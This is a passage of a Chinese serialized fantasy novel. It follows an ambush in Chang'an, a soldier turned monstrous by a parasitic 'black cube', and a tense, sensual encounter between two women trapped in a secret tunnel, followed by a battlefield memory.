马车内只有曾倾洛一人,侯府护院都在暗中保护。
曾倾洛打开车窗,见是禁军,询问对方有何事。
为首旅帅装扮的人眉眼比一身的甲胄还要森冷,开口是正宗的京师口音:
“最近异兽探测器出了些问题,此巷正在戒严,例行排查,请女郎下车配合。”
看到禁军拦住曾倾洛,护院们没有立刻出现。
不知这些禁军究竟是何来路,敢当街拦下侯府的马车。
曾倾洛的确知晓最近探测器无法正常定位所有异兽的事儿。
犹豫了一下,手压在门上,就要将门打开。
睦州人的眼神渐渐尖锐。
手暗暗压在武器上。
只待此女一下车,立刻将她围到队中,不教她发出一声直接将其拿下。
“慢着。”
一道女声从后方传来。
曾倾洛透过窗户往外看。
竟是左骁卫将军路苍梧。
还有跟随在她身后披坚执锐的左骁卫。
曾倾洛:“路将军……”
路苍梧本骑在马上,见到恩人,下马行礼。
路苍梧年长曾倾洛十多岁,受这等厚待,曾倾洛急忙回礼。
相互见礼后,路苍梧如鹰一般的眼神落在面前这些“禁军”身上。
“敢问诸位是那个卫队编制?怎么这般眼生,我从未见过啊。”
路苍梧字字铿锵,万分笃定。
睦州人眼神相交,走了背字遇到左骁卫将军,知晓逃脱不了,一言不发直接抽刀相向。
路苍梧喊道:“何方宵小,敢在京师撒野!”
一声怒喝,身后训练有素的护卫立即列阵。
侯府护院迅速出击增援左骁卫。
双方在窄路中大打出手,眨眼间电光飞弹,血雾四溅。
曾倾洛正待下马车,和路苍梧拆招的睦州人直接挑飞了路苍梧的重锤,转身冲曾倾洛去。
路苍梧吃了一惊,她的力气在长安城内几乎无人能出其右,此人力量了得。
曾倾洛见那睦州人如豹般猛冲而来,立刻跃下马车,睦州人横腿一扫,险些扫中曾倾洛。
曾倾洛勉强躲过,马车被睦州人一脚踢中,车轮横着在地面上划出让人牙软的刺耳声响,引起一串百姓的叫嚷和惨叫声,飞入隔壁街道。
激战前数息。
另一条街道内。
负责跟踪曾倾洛的丽景门小队的队正胡乔珏,正在小队群组里发令:
【市集之中危机四伏,有几方势力相互紧逼,切记不要轻举妄动,静观其变,听我号令,只待他们两败俱伤。】
她发言之下,一片“收到”。
胡乔珏刚刚发完消息,便见她的搭档正用一种怪异的目光目不转睛地盯着她的脸。
她俩此时穿着平民百姓的衣服,坐在一个野馄饨摊假装用膳,而曾倾洛坐着的马车刚刚从她们身后的那条路驶过。
胡乔珏:“怎么?”
搭档:“你脸上这是什么东西?”
胡乔珏的脸上有一个黑点,本来搭档只是瞥一眼,并未在意。
可那黑点在胡乔珏发信息时越来越大,像一根黑色的针突出了皮肤表面。
随后,那根针旋转着,拧动着,变成了小小的树枝状金属物。
胡乔珏用手摸了一下,说:“你看错了吧?”
搭档:“怎么会,我真的看到了!怎么感觉那么像……”
“乱体”两个字还没有说出来,胡乔珏的手一下移,金属物不见了。
搭档:“哎?”
再去看胡乔珏的脸庞,当真什么都没有。
不会吧……
搭档心想,难道是这段时日被那一肚子坏水的靖安侯溜得没睡个安稳觉,出现幻觉了?
正思索着,忽然,后方传来巨物撞来的强压。
搭档浑身鸡皮疙瘩战栗,本能地将胡乔珏往地上一推,躲过从后方冲过来的马车。
搭档一看,这不是曾倾洛坐的侯府马车吗?
侯府马车被睦州人踢飞,把半条街的商户撞得凌乱不堪,车厢却结实无比,完全没有损坏变形,只刮掉了一层漆。
搭档正要去看到底发生了何事,忽然,喉头被锋利的刀刃压住。
胡乔珏握着刀,阴沉的脸浮现在搭档的身后。
双瞳在失控地狂震。
“都说了不要轻举妄动,怎么不听话?”
搭档还未开口,刀刃在她脖子上一横,巨量的血喷溅到煮着馄饨的锅里。
老板眼睛一眨,眼前的锅内变作一片猩红,吓得他大叫着后仰。
再看四方桌上,竟趴着个歪着脑袋的尸首,血汩汩地流了一整桌。
胡乔珏手里的刀还在滴血,瞳孔之中喷出乱体,又瞬间消失。
“怎么不听我的话?”
她兴奋地转动着手里的刀。
“你们这个小队啊……怎么就不听我的话?”
“杀人啦——”
大叫之下,百姓们四散奔逃。
也有些经历太多怪事,胆子练大了的,躲到角落里拍下这丽景门女官杀死同僚的恐怖画面。
与此同时,睦州人、左骁卫、侯府护院和曾倾洛,正陷入一片混战。
正是刀光剑影生死一瞬,不可能分神。
可众人却在某个刹那,同时感受到了教人汗毛倒竖的恐惧。
曾倾洛还未反应过来,路苍梧转身一把拽住她的胳膊,猛地往上拎。
这一拎实在太仓促,曾倾洛身子完全是倾斜的。
一道黑光低空横斩,将一整街的商户从中横切,处于混战之中的众人被斩去双腿,有躲闪不及的百姓甚至被从拦腰斩断。
曾倾洛看见自己那条无比结实的S级腿,被黑光切过,喷溅火花。
落地之后腿完全没了支撑力,曾倾洛身子往下跌,单膝跪倒在地。
这变数实在来得太快太突然,刚才还在你死我活的众人在血泊中诧异地静止了。
不远处,一个女人正慢悠悠地走过来。
正在暗中窥探的丽景门女官们都认得,这不是自家队正胡乔珏么?
胡乔珏右手持着一把巨型的黑色镰刀,镰刀似巨型新月,悬挂在她身后。
黑色的新月上沾满了血和肉块,随着她靠近的脚步滴滴答答落在石板路上。
待她走近之后才发现,那黑色镰刀不是她的武器。
就是她的手臂。
丽景门众人都怔住了。
满地尸骸都是她们队正一招造成的?
以前可从不知道她这般厉害。
路苍梧和曾倾洛等人见多了异兽,一眼就看出了这个胡乔珏被黑魔方感染了。
那把黑色的镰刀就是乱体。
但此人行走自如,除了镰刀,她整个人的体态也是正常人类的体态,完全没有异兽化。
曾倾洛扶着腿站起来,观察对方。
也没有贴符纸。
这是怎么回事?
全新的异兽?
坐在房顶上看了半天戏的秦无商魔种“哦哟”一声。
“好玩的来了。”
滴滴滴——
沈逆一开始都没注意到警报声。
她的注意力百分百放在边烬身上。
直到那警报声孜孜不倦响到了第三轮,沈逆充血的眼睛在灯光下忽然眨了一下。
意识到这警报声意味着什么。
是安装在曾倾洛身上的报警装置。
一旦曾倾洛生命体征紊乱,遭遇危机,系统就会报警。
沈逆看向报警系统。
曾倾洛所处的位置正在疯狂闪烁红点,心率已经飙升至一百九。
生命体征提示,她此时很有可能受了伤。
可是……
沈逆现在走不开。
要是暂停的话,逆芯重要的活性材料很有可能失效,距离成功只有一步之遥。
沈逆定了定神,立刻联系第五阙,把曾倾洛的位置发给她。
让第五阙现在就去找曾倾洛。
她把最重要的一步做完,随后就到!
第五阙和贺兰濯赶到现场时,见路苍梧浑身是血,曾倾洛一条腿没法动了,胳膊开了一个大大的血口。
地上倒了一片禁军。
而和她们对战的是……第五阙认得此人,她是丽景门的队正。
胡乔珏单手变成了一把黑色的枪,和曾倾洛所持的一模一样。
第五阙看到这一幕几乎懵了。
“空手变枪?能开吗?”
砰砰砰——
胡乔珏立刻证明能开,连开数枪。
子弹冲着曾倾洛的脑袋飞射。
曾倾洛想躲闪,可只有一只原体腿,动作已然慢了。
第五阙向着子弹飞出武器抵挡的同时,忽然有一人从曾倾洛身后扑上来,将她卷倒在地。
天旋地转中,曾倾洛嗅到了一阵香味。
有些熟悉的,不该属于血腥之地的香味。
胡乔珏再要开枪,眼前却凭空掀起万丈巨浪。
如山的潮水往她的面门直扑过来,她惊了一下,抬手抵挡。
贺兰濯用精神力制造幻觉,发现此人会被精神力控制,说明她精神状态趋近于人类。
可是她手里的武器明明是感染了黑魔方之后才会产生的乱体。
此人居然能随心所欲变化乱体,以此为武器,闻所未闻。
在京师政局风云变化,一群人你争我夺之际,黑魔方藏在黑暗的角落里,悄悄地完成了又一次的迭代。
这头贺兰濯正暗暗心惊,不知这次危机的深浅。
那头第五阙才不管三七二十一,敌人露出破绽,正是攻其不备最好时机。
斧头砍飞了子弹,飞回主人手中。
第五阙手握她最新的武器,一对S级双斧,气势汹汹劈向胡乔珏。
胡乔珏的乱体从枪变斧,和第五阙一模一样的双斧。
逆着幻觉之中的浪潮,犹如野兽对劲敌本能的亢奋,大叫着冲向第五阙。
第五阙:“你这无赖,学我!”
双斧对撞,惊天的威力轰然炸出强光,巨震之下两人都没能握住武器,四把斧子直直劈向地面。
此刻地面上,李极没待曾倾洛反应过来,拽着她上了侯府马车。
哪管谁在和异兽死斗,先逃再说。
李极刚将曾倾洛塞入马车,按下启动键,四把斧头轰然劈开了马车下方的地面。
巨大的裂口像怪物长大的嘴,马车直直坠入那巨口中。
第五阙惊呆。
不是,等下。
长安城下方是空心的啊?
怎么会劈出这么深的坑?
她好像无意间砸开了一层壳,壳下是数十丈的深渊!
第五阙瞧着那坠落的马车,心头发凉。
她真是来救小倾洛的!
第115章
西市激战之时,广膳宫内,李渃元的寝殿之中一直传来断断续续的痛吟。
黑魔方对李渃元的侵蚀一直未停歇。
妄图侵吞她最后的意识。
混乱的意识,要被撕裂的身体,让她精神力飙升至最高峰,久久难熄。不断地释放精神力,越过极限再去抓下一个极限,无休无止,痛苦至极。
右眼一次次被吞噬,一次次被她精神力逼退。
李渃元倒在废墟内,脑子里黑魔方的意识却是一派轻松。
甚至传来一段记忆影像让她欣赏。
李渃元抱着自己的身子,不停跳动的眼皮之下的瞳孔,看见了鲜血满阶的西市,看见丽景门队正胡乔珏正在街道上大开杀戒。
李渃元:“你……”
刚一开口,吐出一口乱体。
丁零当啷地散了一地。
李渃元和黑魔方势均力敌对抗了这么多年,终于,黑魔方第一次占据了优势。
这一切都是黑魔方第一次迭代出了智慧之后发生的事。
和李渃元共生的是黑魔方本体,是黑魔方能量的最中心。
其他在这片大陆上不断死灰复燃的,是它的分支。
以前没有智慧的时候,黑魔方本体无法和分支交流,更无法完全操控。
如今不仅能操控,感染了分支的身体也成了黑魔方本体的玩物。
连这些分支的想法都可以直接传输到本体的意识内。
黑魔方道:“如果说最开始还没有迭代出智慧的我,是最原始的我,那么后来长出了黑色大脑的我就是1.0版本的我。而现在么,我不仅迭代出了大脑,还学会了一项极其不起的技能,皇帝,你猜是什么?”
李渃元喘着气,无法和它对话。
“你对我还是这般冷漠。好吧,我只好直接告诉你了。虽然我更喜欢猜来猜去的游戏。”
黑魔方笑了一声,继续道:
“我学会了复制人类的原生大脑。人类的大脑实在很有趣,装了很多的想法和了不起的计谋。刚发掘它时像发现了宝藏,惊喜不已,让我着迷了很长一段时间。在不断地复制中,我们的大脑越来越聪明,越来越强大。我愿意称之为2.0版本的我。
“不过,这并不是我所说的了不起的技能。复制罢了,这是我的天性。学会伪装,这才是最厉害的本事。
“其实我的分支们早就感染了一部分的人类,只是我没让它们立刻显现出来。从外表看,被感染的人类和普通人没有任何的区别,但玉璧早就被我吞噬了。我潜伏在这座城池里,每天和周围的人类对话、生活,继续学习,了解这个世界。
“是我需要时间来‘学习’,所以缓和了与你们的战事。不然你以为为什么这段时日京师禁军的排查如此奏效?不会以为真的暂时压制住我了吧?
“说起来,‘伪装’这个本事还是从你身上得到的灵感。
“你不就是躲在暗处,戴着个‘面具’,用另一个自己和这个世界交流么?”
黑魔方笑着。
它的声线和李渃元一模一样。
没有戾气,温和儒雅。
李渃元在痛苦中意识到,黑魔方复制了她的大脑,模仿了她的性格。
如今的黑魔方,和李渃元所想象的自己,渴望的唐Pro帝国的天子,无比相似。
黑魔方的语气中带着些乏味。
“潜伏观察了这段时日,发现没什么好忌惮的。你们人类贪婪还愚蠢,还总喜欢勾心斗角,自相残杀。皇帝,你不觉得这样很没劲吗?我打算改写这无聊的文明,试试谱写我想要的新规则,创造出更有趣的天地。
“皇帝,我算是知道你为什么想当皇帝了。掌控世界的感觉真的很令人期待。”
李渃元在黑魔方漫长的表达中,默默地把它从身体里逼退了一分。
黑魔方“哦”了一声,有些惊讶。
“事到如今,你还觉得有可能压制我吗?皇帝,有时候我真挺钦佩你的。”
……
巨大的裂痕横贯整个西市。
第五阙发现裂口之下确有乾坤,只是太深了,看不清。
她的注意力被那裂口吸引去了短短一瞬,胡乔珏又用乱体拧出两把巨斧,两条胳膊在空中猛抽,巨斧在高速的投掷中闪出火光,从左右两侧画着弧线夹击第五阙。
第五阙“嘶”地抽吸,心想这倒霉玩意还挺难缠。
一把黑伞“砰”地在第五阙面前打开,变成一面柔韧的盾。
巨斧来势汹汹,持伞的贺兰濯并不硬挡,而是合上伞,把两把斧头夹进伞骨中,顺着巨斧的来势在空中划了半个圈,把巨斧抛飞到远处。
胡乔珏歪了一下头,颞颥冒出两根旋转的乱体,似乎对这一幕很感兴趣,好奇地“哦?”一声。
贺兰濯四两拨千斤,化解得恰到好处。
但到底是个精神天赋者,力量比拼起来很勉强,手腕被扭着了,抽着筋。
她忍着痛,面上半点不显,还肘了第五阙一下。
“集中注意力。”
第五阙:“可是……”
贺兰濯:“人掉都掉下去了,先解决眼前的危险再去寻人。”
第五阙本想说她来挡住这怪物,让贺兰濯下去看看情况。
可惜,她实在太乐观了。
迭代出了2.0智慧的黑魔方所感染的人类,并不像她们熟悉的异兽,单用武力就可以解决。
胡乔珏晃了晃脑袋,原本发髻变成了一面黑伞。
左骁卫从另一侧偷袭的招数被她摇头晃脑又甩又夹,统统抵消。
贺兰濯:“……我是不是该要点版权费?”
一个胡乔珏牵制住了一大波人。
此刻,在裂口的深处,曾倾洛正在从短暂的昏厥中苏醒。
四周黑魆魆的,还有些难闻的气味在鼻尖上流淌。
光在很远的上方,一道极窄极长的裂痕像黑夜中静止的闪电。
想动一动,发现自己被人死死抱在怀里。
腰背好痛,头也昏沉沉的。
曾倾洛想起来了,马车失控坠落的时候,李极第一反应是把她护到怀里。
曾倾洛:……
曾倾洛试着唤了声:“李极?”
身后人还在昏迷,没有回应她。
挣开李极的双臂,曾倾洛一翻身,发现她俩被一个巨大的缓冲气囊托着。
气囊在马车失重的同时张开,救了她俩一命。
不愧是小师姐造的马车,不然从数十丈高的地方摔下来,不可能有命活。
她腿的情况不太好,损坏的义体现下无法支撑。
检查一番,义体的膝盖部分已经断裂。
袭击她们的究竟是什么人,居然能一招斩断S级义体。
好在小师姐造的义体有自动修复功能。
义体提供的报告显示,自动修复将在半个时辰后完成。
自动修复之后只能维持支撑功能,S级义体的其他能力,包括潜行、攀爬和能量池等,都需要专门的机械师进行深度维修才可以恢复。
曾倾洛打开手掌内的探照灯,环视上方。
这是个极深的深坑,即便修复好了,恐怕她也很难爬出去。
更何况……
曾倾洛看向李极。
还有个娇气的精神天赋者。
李极更不可能爬上去。
昏暗的环境里,李极倒是很好锁定位置,她比周围都白一个色号。
曾倾洛上前探了一下鼻息,还活着。
松了一口气的同时,目光被她昏迷时的侧颜吸引去。
谁能想到,这么娇美娴静又知性的脸,醒了之后那般蛮横跋扈,阴狠毒辣。
目光从李极的脸庞移到手臂,目光沉沉。
嗒——
有一颗石头落下,敲到了岩壁。
发出的动响让曾倾洛回过思绪。
意识到自己居然在偷看李极……
曾倾洛真怀疑此人是不是昏迷时都能散发精神力。
当然,这是不可能的。
曾倾洛定了定神,用手背贴贴发烫的脸颊,从缓冲气囊上艰难地爬下来,开启探照灯内的扫描模式。
扫描模式可以帮助她发现更多潜在的出口。
以及肉眼看不到的痕迹。
这是一个非常宽敞的隧道,路是水泥的,像是一个特意修建出来的场所,宽阔高挑的程度和中央驿站不相上下,很明显不是地下水道之类的基础设施。
像是可以容纳非常多人的避难所。
她从来都不知道长安城地下有这么大的空间。
曾倾洛只是走了几步路就有些头晕。
空气非常稀薄,像是一个封闭了许久,刚刚开启了一丝裂缝的区域,气味一言难尽。
探照灯照不到路的尽头,两侧是圆弧形的墙壁,曾倾洛想要给师姐们飞鸽传书,发现这儿连网络都没有。
有个想法浮现于脑中。
遗忘之脉。
难道这里就是传说中的遗忘之脉?
所谓的遗忘之脉修建于四百多年前,是低科技时代的产物,亦是开国太.祖留给百姓的最后一条生路。
若是京师被围困,百姓能从此通道逃走。
这儿一切都是最古朴的状态,原本没有空气,也没有网络。
越看越像。
曾倾洛没想到,会在如此偶然的情况下发现这条传说中的通道。
扶着墙壁,单腿艰难地往前挪动。
仔细观察,这里非常原始,只有一条不知通往何处的路。
诡异的是,在这地府一般幽暗无声的空间里,她发现了一行脚印。
一行面朝着她行来的脚印。
曾倾洛单腿跳了几步,跳到了脚印边。
真的是脚印。
要不是她开着扫描功能,肉眼是肯定发现不了的。
从脚印的大小判断,应该是个成年男人,身长不长。
脚印从很远的前方延伸过来,此人或许是从遗忘之脉通往外界的出口处进入的。
后方的路被巨大的缓冲气囊挡住了,不确定他前行到了何地。
是谁行走在没有空气也无人知晓的遗忘之脉内?
这句在心中的疑问,问得曾倾洛自己寒毛倒竖。
压下轰隆隆的心跳声,曾倾洛觉得眼前所见,仿佛能和记忆里的某个未解之谜挂上钩。
是哪个未解之谜?
身为探子,她接触的谜题实在太多了,到底是……
忽然,脑海里闪现了一口棺材,以及一个男人死而复生的脸。
刘吉。
黑魔方病毒在长安城中爆发的第一例,刘吉。
当初她为沈逆调查刘吉行迹。
此人如何入城,完全没有记录。
沈逆猜测,刘吉很有可能通过遗忘之脉入城。
没想到,居然会在此处找到证据。
即便刘吉可以携带氧气通过这条没有空气的漫长道路,但以他的身份,如何知晓遗忘之脉的入口?
要知道,此处是京师长安最后的咽喉,特级绝密情报,要是刘吉这样的平民都能知晓,那它存在的价值便会大打折扣。
无论如何,先把脚印的资料全部打包到记忆模块中,回去和师姐们一块儿分析。
曾倾洛正在收集资料,身后传来一声软绵绵的喟叹。
李极已经醒了,依旧躺在气囊上,手中拿着她自己的衣衫,护理肆赠送的布袋被丢在一旁。
李极嘴角挑起的笑容几乎控制不住。
“没想到你如此珍爱这件衣衫,特意找了护理肆护理。虽说我不喜欢她们家廉价的香薰味,不过如果是你选的嘛……”李极眼眸一转,笑盈盈地看向曾倾洛,“我可以尝试接受。”
曾倾洛:……
曾倾洛:“你想多了。衣服是无辜的,香薰味是店家选的,我也未曾想还给你。”
李极的笑容慢慢消失,“哼”了一声。
一呼一吸间腰间已经裂开的伤口痛极,摔下来时好像又撞断了肋骨。
痛楚让她说不出话,咳了两声,竟呕出一口血。
李极无所谓地擦了擦,控制着呼吸的频率,以减少呼吸牵动的痛楚。
和李极待在同一空间里让断腿的曾倾洛不安。
忽然想到万姑姑给她的包袱。
里面或许有趁手的武器可用。
在马车周围翻找了一会儿,还真给她找到了包袱。
李极看着曾倾洛拆开包袱,露出一个情意盒。
李极:?
曾倾洛并不知晓这等大小和款式的木盒,在大众的认知里,默认是情意盒了,毫无心机地打开。
里面的东西怎么有点……奇怪。
一堆花花绿绿的包装,还有一根毛茸茸的长棒。
曾倾洛拿起那根长棒,不明所以。
这是逗猫棒吗?
李极忽然意识到情意盒原本就在马车里,是曾倾洛随身携带的。
她一咕噜坐了起来,也管不了伤口有多痛。
“你怎么会有这东西?你想和谁用?”
还没等曾倾洛回答,李极又追一句:
“我不准!”
曾倾洛不知道她在发什么疯,倒是忽然恶犬般凶狠。
眼看就要挨过来,曾倾洛用手中的逗猫棒一指,点在李极的心口,和她保持距离。
“不许靠近我。”
谁知,那毛茸茸的顶端刚触到李极的肌肤,李极的表情便有些怪异。
被扫过的肌肤之上绽放出桃花般的粉色。
李极眼眸都被弄软了,深吸一口气,没能说出话来,呼出的气儿都是烫的。
第116章
李极受着伤,本来额头上是因疼痛所出的冷汗,此刻冷热交加,从心口到肩膀都在泛红。
这根奇异的“逗猫棒”是最新款调情用具。
顶端毛茸茸的部分有催.情的效果。
扫过之处,皮肤敏感程度大大提升。
曾倾洛只觉得她神色怪异,并没有想到是自己手中的“逗猫棒”导致的。
曾倾洛:“这不是我的东西。”
李极追问:“那是谁给你的?”
曾倾洛本想说是她师姐的,思绪一顿,只道:
“与你何干,为什么要告诉你?”
曾倾洛这番完全将李极扫出关系网之外的发言,让李极心口一阵刺痛。
李极双唇不自禁地微颤,眼睛都气红了,逼近道:
“你失忆了?你我在帝国客栈的那几夜什么都做了,别告诉我你能忘得了。”
这疯子还要靠近,曾倾洛将往上“逗猫棒”提,压在她的喉咙处。
“走开。”
曾倾洛冷眼相看,强迫自己不能在李极面前输了气势,否则这个疯子又会干出什么事,无法想象。
“你还好意思提那几夜……”
曾倾洛握着棒的手发紧,指骨渗出青白之色。
“那是你骗我。若不是被骗,谁要和你……不过是被骗了几夜罢了,只当你……是个用物,随便用用,这有什么忘不了?”
李极先前心口被扫,现在换成了喉咙,潮红从脖子往上蔓延,本就难受,曾倾洛这番绝情的话一字一句更是刺得她哑口无言。
漂亮的桃花眼不止是眼尾泛红,整个眼眶都红了。
曾倾洛见自己一句话就让李极眼中迅速蓄满了泪,心头也莫名痛了一下。
李极还是一副气势汹汹的样子,只不过这回说话间带了鼻音,还有显而易见的委屈。
“你和别人用情意盒,还对我这么凶?”
曾倾洛:……
想反驳,可面对委屈至极的李极,曾倾洛有些说不出口。
而且……
“情意盒?”
曾倾洛被李极的话弄得一怔,看向手里的“逗猫棒”。
忽然意识到这是什么了。
万姑姑从坊间商户取回的,怎么可能是什么厉害的武器?小师姐都是自己在工作室打造趁手兵刃。不让她打开看不为别的,只是万姑姑觉得她还未成亲,看不得这些闺房私密。
所以,包袱里裹的是情意盒。
从情意盒里拿出来的,当然是……
曾倾洛脸一瞬间爆红。
手背都红了。
直接把“逗猫棒”给掰成两截。
要命了……
曾倾洛窘迫万分。
她怎么会用这种东西来扫李极啊……
“啪”地把情意盒扣上,曾倾洛移开目光不去看李极。
李极看她整个人红彤彤的,肩膀都往里缩,明白了,估计她是不认识情意盒,也不知道自己拿的是个什么玩意。方才那些话都是在逞强,故意气人。
一肚子的话卡在喉咙口,李极半个字没能说出来,反倒引起一阵剧烈的咳嗽。
曾倾洛听到她的咳嗽声,思绪略略一顿。
大概是情意盒搅局,让曾倾洛不受控制地想起在斗技场李极对她疯狂的纠缠,以及慌乱之中刺中的那一刀。
刀刺进去的深度,和李极的身体状况她心里都有数。
恐怕那一刀造成的伤害,时至今日也没好明白。
听她咳嗽和方才说话时的底气就知道了,虚得很。
曾倾洛心头漫过一阵酸胀,很快,调整了一番呼吸后告诉自己,那都是李极自找的。
没搭理李极。
没问那些假扮成禁军,拦马车的人是否与她有关。
也没问她为何又出现在此。
耳尖和脸庞上的热度太明显,恐怕已经全红了。
不想李极发现,曾倾洛转身,往气囊阻断的另一侧探照,查看脚印的线索,尽量多收集此地的资料。
李极觑那情意盒,悄无声息打开,翻了翻。
指尖夹出一样事物。
果然有脚印。
曾倾洛发现,脚印一直往前方延伸,延伸到探照灯无法探照的远处。
她正集中精力搜集线索,安静的空间里时不时传来李极的咳喘。
越咳越难受,最后似乎呕出了什么。
曾倾洛眉尾往上抬了抬,这声音实在让人分神。
皱着眉回头看。
李极伏在气囊上,脸色苍白,脸庞和脖子上覆了一层发亮的汗水,手压着胸口,面前是吐出的血,嘴角和唇面上还沾着血迹。
曾倾洛:“怎么?”
李极眼尾发红,气息虚弱。
“没怎么,快死了而已。”
曾倾洛:“……刚才和我吵架的时候还好好的。”
“那不是怕你担心么,怕你以为我在做戏,博你同情。”
李极捂着腰间,裂开的伤口渗出血难以作假,已经染红了衣衫。
曾倾洛记得,她是在李极怀中醒来的。
马车坠落时,李极第一反应就是护住她。
曾倾洛眼眸迟疑地轻眨。
李极这会儿也是真的因为摔伤后血沫往外呛,不停地咳嗽。
双瞳含泪,气咽声丝。
“之前挨了你一刀,方才从那么高的地方坠下,差点摔得粉身碎骨,我又不似你们战斗天赋者,折腾到薪尽火灭也很正常……”
曾倾洛咬了咬唇,眼眸里的动荡被李极发现了。
李极躺在气囊上,虚弱道:“有水吗……”
曾倾洛思索了一会儿,才去马车周围寻觅。在一地散落破碎的营养液中,寻到了一罐没有摔坏的。
还是强效款疗伤营养液。
无声地递到李极面前,李极没力气抬手。
“喂我。”
曾倾洛:……
为她拧开,再递到她唇边。
李极就着曾倾洛的手喝了大半罐营养液。
曾倾洛有意回避她,喂得漫不经心。
透明的营养液沿着李极饱满双唇间滑落至下巴,滴滴答答落在曾倾洛撑着气囊的指尖上。
染着一星点李极的体温。
营养液喝完,李极缓了口气,不再咳了,血是止不住,脸色依旧苍白。
老天有多偏爱这个女人。
即便受着重伤,整个人被油尽灯枯的疲惫笼罩着,反而多了一份脆弱感,依旧美得惊心动魄。
李极握住曾倾洛的手。曾倾洛想挣脱,就动了一下,李极的伤口被牵动,疼得低吟。
“好痛……”
曾倾洛无可奈何地停下。
“知道你讨厌我,那你将李极忘了吧,把我当做裴寂。让裴寂带着你的吻踏上奈何桥,好不好?”
曾倾洛一声“不要脸”已经在嘴边,下巴却被李极扣住,双唇随即被启开。
日思夜想的滋味终于又回到唇边,李极有些失控,越吻越狠。
曾倾洛没想到李极居然整个人压上来,她经过这一摔浑身也没什么力气,想把李极推起来,推不动。稍微使点劲儿,李极就喊疼。
李极缠她缠得太紧,吻密得曾倾洛喘不上气。
炙热汹涌的吻在压抑了多日后,终于如愿以偿,狂热的爱意在唇齿间毫无保留地绽放,无法自抑地掠夺。
曾倾洛的唇都被磨痛了,忍着没让李极察觉气息的变化。又烦又燥,心底里还压着一份不想任何人知晓的欲壑难填。
吻得难舍难分时,一股异香在唇齿间流荡。
心跳越跳越快,曾倾洛逐渐察觉到了不对劲。
这份异香其实从接吻的最初就存在,很明显,曾倾洛也意识到了,可却是到此刻才觉得不对劲。
一下挣开李极的吻。
李极唇上发亮,眼眸湿漉漉的,整个迷醉得回不过神。
还待再吻,曾倾洛横掌一捂,捂住李极的嘴,趁势将她压制在气囊上。
这一番曾倾洛是气恼了,动了真格的。
李极实打实地痛到“唔”出声,拧起的眉心脆弱尽显,可嘴是被曾倾洛捂着,那份痛楚又变成了奇异的快乐,胸口起伏得更甚。
曾倾洛质问:“你给我吃了什么?”
李极声音从她掌心下透出来。
隐隐约约,听到了“春”字和“药”字。
“什……”
曾倾洛手中一松。
李极趁势把她勾下来再吻。
柔软滚烫的身躯像火,灼在曾倾洛的身体上,一面想着李极无耻至极,一面又在晕眩中越陷越深。
难怪她无法抗拒,难怪她心甘情愿一同堕落……
李极的手指伸入曾倾洛后颈之上的发丝里,将她整个人压着,不许逃离。
李极勾着她,要她回吻。
曾倾洛在热浪翻涌间,迷迷糊糊地顺从了她。
心跳敲击着胸膛,曾倾洛感觉后背被热汗浸湿,衣物贴在脊背上,浑身都在战栗。
而后,听到了一丝笑意。
曾倾洛蓦然睁开眼。
掌心里的探照灯从指缝中漫出昏暗的光。
身下的女人青丝散乱,双眸含情。
凌乱无章的李极像碎裂的琉璃。
一片狼藉,依旧艳美绝俗,却扎手。
“骗你的。”
李极一笑,脖颈和锁骨处起伏的骨骼里藏着一窝发亮的汗水。
曾倾洛喘息还未停止,缓了半天才用气音问:
“什么……”
李极擦去她唇上的晶亮。
“那只是果味糖罢了,增加趣味,不是那种药。”
曾倾洛手指微弯。
李极欣赏着曾倾洛被情念浸透的模样。
“那为什么你还会变成这副模样?曾倾洛,你知道的,你爱惨我了。”.
【量子纠缠态锁定……完成。】
【神经接口同步……完成。】
【生物电信号……完成。】
……
【逆芯整体架构……】
九十九,一百……
【完成。】
【恭喜你,逆芯已百分百完成。】
【系统正在初始化……】
【系统预计在一个时辰两刻钟后重启。】
看到梦寐以求的这行字终于出现在眼前,神经紧绷许久的沈逆终于大大松了口气。
喝了一瓶营养液,再给干涩难受的眼睛里滴眼药水,歇会儿。
逆芯她规划了很久,势在必得。
即便如此,在逆芯真正完成的这一刻,沈逆心里还是冲进满当当的喜悦。
很累,但是很值。
边烬得在系统重启之后才能醒来。
沈逆惦记着曾倾洛,匆忙在边烬的唇上落下一个吻。
“等你醒来,记得好好奖励我。”
……
意识深处,浓雾已经消散得差不多了。
天空在往边烬身上落细沙。
边烬看着天空中盘腿而坐的另一个自己,半边身子已经随着细沙消失了,融入她的身体里。
“做好准备了吗?”
另一个自己问。
边烬道:“你若能承受,我自然也能。”
劲风卷起漫天的飞沙,在边烬周身呼啸。
残存的浓雾彻底飞散,天地在发颤,边烬站在天地中心,巍然不动。
最终,这个世界的两个神明合二为一。
三年的记忆禁区,对它的主人敞开了大门。
浓郁的血腥味。
空气中散发着血、铁锈、动力油和腐烂的气味。
这是战场。
边烬精疲力竭,摇摇欲坠,手中拎着什么事物,沉甸甸的。
脚下被牵绊着,走不动。
低头看去。
那是她的士兵。
只剩半截身体,麻木的脸庞被灰色的死意占据。
那具尸体边,是个没有脑袋的士兵。
士兵所穿的铠甲能分辨出,也是边烬的兵。
边烬目光怔怔地看向自己的手。
她拎着的,就是下属的头颅。
呼吸凝滞,心跳骤然失控。
此刻的她正站在一座尸山上。
百万大军的尸山。
战甲被血染成了暗红色,发髻散乱,火星从天空降落,烧断了几丝的发尾。
百万大军因何折亡?
边烬双眼泛红,额头青筋慢慢浮现。
和眼泪同时翻涌的是克制不住的笑。
的确是因为我啊。
边烬想起来了。
三年的记忆瞬间冲入大脑。
没有冤枉,不是陷害。
是我杀了他们。
我把他们全都杀了。
第117章
六年前。
李渃元连夜召边烬入大明宫。
边烬披着清晨第一场薄雪回到双楼时,见沈逆坐在路灯下,一边看着手里的电子屏,一边等着她。
“师姐。”
沈逆看到边烬回来了,一个挺身,脑袋上的雪块落下。
她快步走到边烬身前,双眼亮亮的。
“怎么去了这般久?”
沈逆发现边烬的神色有些异常,周身萦绕着某种她不太熟悉的气氛。
那是忧愁。
不太在沈逆面前展现的忧愁。
边烬脱去手套,摸摸沈逆的脸。
小脸蛋软软的,凉凉的。
“你一直在等我?”
“是啊,你不回来我睡不着。师姐,你手好冷。”
沈逆将边烬的双手焐着。小孩儿身子里像藏着火球,炙热的体温很快将边烬薄薄的手掌焐热。
戎雪如夜晚的碎片,从墨色的天际纷纷扬扬降下,落在边烬纤长的睫毛上。
边烬将斗篷解开,罩在沈逆身上。
专注地凝视间,听到了雪声。
雪填满了整个京师,一遍遍地勾勒山峰,边烬的心却是空荡荡的。
轻轻呵出一口寒气。
等我回来时,阿摇应该长大了吧。
……
我还能回来吗?
边烬打过很多仗,也曾直面死亡,却没有一次如今日这般心里没有着落。
